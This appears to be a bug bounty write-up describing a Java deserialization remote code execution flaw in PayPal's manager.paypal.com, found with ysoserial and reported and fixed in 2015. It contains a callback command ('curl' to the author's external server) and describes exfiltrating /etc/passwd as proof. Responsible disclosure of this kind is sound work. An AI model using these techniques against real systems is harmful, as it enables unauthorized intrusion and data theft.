Hack PayPal in 73 seconds

In December 2015, I discovered a critically dangerous vulnerability in one of PayPal for business sites that allowed me to execute arbitrary commands on web servers inside the corporate network. When submitting a web form on manager.paypal.com, in one of the hidden parameters, encoded data was transferred as a serialized Java object. This parameter could be faked by changing the name of the class and the values ​​of its properties, which led to the execution of arbitrary code on the servers. I immediately reported this issue to PayPal and it was quickly fixed.

Vulnerability Details

When testing the security of manager.paypal.com in the burp suite, my attention was drawn to the unusual parameter “oldFormData”, which looked like a complex base64 encoded Java object:


In hexadecimal form, it started with the signature “aced 0005” , by which I realized that it was a serialized Java object of class “java.util.HashMap” without any digital signature. This meant that when we submitted the form, we could replace it with an object of a completely different class - and the “readObject” (or “readResolve”) method of the new class would be called on the server.

For operation, I needed to find in the application sources (or in the libraries that it uses) a class that has something interesting in the readObject or readResolve method, for example, creating a file or executing a system command with parameters that we can influence.

Fortunately, Chris Frohoff (@frohoff) and Gabriel Lawrence (@gebl) did an excellent job in early 2015 and found a chain of suitable classes in the Commons Collections library. They also released the ysoserial utility to generate suitable serialized objects that result in arbitrary code execution in the readObject method.

Exploit

I immediately downloaded this utility from their github project and generated an object of class “sun.reflect.annotation.AnnotationInvocationHandler” , deserialization of which leads to the execution of the command “curl xsartsploit.com/paypal” if the Commons Collections library is available on the server.


The curl command sends DNS and HTTP requests to my own external server, which is good for identifying so-called blind vulnerabilities in which the result of the command is not displayed in the server response.

After that, I sent the received encoded object to the server in the “oldFormData” parameter and literally could not believe my eyes when the line appeared in the access log on my Nginx:


The address 173.0.81.65 belonged to PayPal and at that moment I realized that I could execute arbitrary commands on the servers of manager.paypal.com .

I could download a backdoor, access the databases that the application uses, or surf the internal network. Instead, I just read the file “/ etc / passwd” sending it to my server as a confirmation of the vulnerability:


I also recorded a video on how to reproduce this vulnerability, and sent all the information to PayPal.

Reply from PayPal

After receiving the report, PayPal quickly fixed the vulnerability and asked me for my external IP address, from which I tested, for an internal investigation. After about a month, PayPal awarded me a reward for the vulnerability found, although the bug in their system was listed as a duplicate. As I understand it, another researcher, Mark Litchfield, also sent them information about a similar vulnerability on December 11, 2015, two days before my report.

In any case, PayPal paid me a good cash reward, for which many thanks to them.

Video: